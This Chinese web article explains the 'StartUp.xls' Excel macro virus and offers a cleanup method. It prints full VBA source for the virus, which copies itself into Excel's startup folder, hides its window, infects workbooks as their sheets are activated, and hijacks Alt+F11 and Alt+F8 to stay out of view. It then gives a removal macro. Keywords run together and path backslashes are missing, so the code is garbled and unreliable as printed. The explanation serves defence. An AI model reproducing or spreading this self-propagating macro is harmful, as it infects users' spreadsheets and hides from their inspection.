爱华网1.StartUp.xls为何物？
在打开任何一个EXCEL文件时，会自动打开StartUp.xls文件，并且是隐藏着的。其路径位于：除C:Documents andSettingsadministratorApplicationDataMicrosoftExcelXLSTART中。这就让病毒获得了感染的途径。这个文件是被带有StartUp宏病毒的文件感染之后，当用户再打开本机中其它EXCLE时，打开的EXCEL文件即被感染。
2.StartUp代码：
StartUp有几种形式，但都同理，下面列出的代码是其中一种常见的。
Sub auto_open()
On ErrorResume Next
'如果打开的不是StartUp.xls
IfThisWorkbook.Path <>Application.StartupPath And Dir(Application.StartupPath& "" & "StartUp.xls") = ""Then
Application.ScreenUpdating = False '不刷新屏幕
ThisWorkbook.Sheets("StartUp").Copy'复制StartUp的工作表到当前的工作簿中
ActiveWorkbook.SaveAs (Application.StartupPath &""&"StartUp.xls") '保存
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False '隐藏
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
EndIf
Application.OnSheetActivate = "StartUp.xls!cop"'工作表激活时调用StartUp模块的cop过程
Application.OnKey "%{F11}", "StartUp.xls!escape"'处理alt+F11和alt+F8快捷键,F11打开VB编辑器,F8打开宏窗口时，调用StartUp模块的escape过程
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On ErrorResume Next
'如果当前激活的工作表不是StartUp，则复制StartUp，并把选择原先用户的要激活的工作表
IfActiveWorkbook.Sheets(1).Name <>"StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copybefore:=Worksheets(1)
Sheets(n$).Select
EndIf
End Sub
Sub back()
On ErrorResume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"),"StartUp.xls!cop"
Workbooks.Open Application.StartupPath &"StartUp.xls"
End Sub
Sub escape()
'这个过程主要是在用户打开宏窗口或是VB编辑器时看不到StartUp
On ErrorResume Next
Application.OnSheetActivate = "StartUp.xls!back"'当有工作表被激活时，startup又要回来了。
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Eachbook In Workbooks
Application.DisplayAlerts = False'在删除时，不要显示提示对话框
If book.Name= "StartUp.xls" Thenbook.Sheets("StartUp").Delete '删除StartUp
Next
For Eachbook In Workbooks
If book.Name = "StartUp.xls" Then
book.Close '关闭StartUp工作簿
End If
Next
End Sub
3.解决方法
知道了病毒的运行流程，想要处理就好办多了。有的人直接删除StartUp.xls还有C:Documents andSettingsadministratorApplicationDataMicrosoftExcelExcel11.xls，但没有处理那些已被感染了的EXCEL文件，还是会存在隐患的。对于已被感染的EXCEL文件，可以从VB编辑器中移除StartUp模块，重新保存即可，但要一个一个去删除被感染文件的StartUp模块，那着实麻烦。这时可以利用病毒已铺好的路子，自动移除StartUp模块，即仍然使用StartUp.xls，只是代码改为：
Sub auto_open()
On ErrorResume Next
Application.ScreenUpdating = False
Application.OnSheetActivate = "StartUp.xls!cop"'注意此cop方法，要依据你被感染的具体名称来改
End Sub
Sub cop()
On ErrorResume Next
For Eachbook In Workbooks
if book.Name<>"StartUp.xls"then
Set del = book.VBProject.VBComponents("StartUp")
book.VBProject.VBComponents.Remove del
end if
Next
End Sub
网上看到不少朋友只会贴代码，不了解其中原理，往往贴下来的代码是无效的。在此有几点要注意几点。
·因为删除病毒的代码是也是通过宏来运行的，所以要允许宏操作。
·删除的模块的方法使用的是工作簿的VBProject，那在宏的安全设置（工具>宏>安全性）要允许对“VB项目”的访问。
·StartUp感染的过程名，此处是cop，对应的处理过程是也是cop，如果你被感染的StartUp的子过程名是ycop，那这里也要相应的改成StartUp.xls!ycop，Subycop，否则清除病毒的代码也是运行不了的。
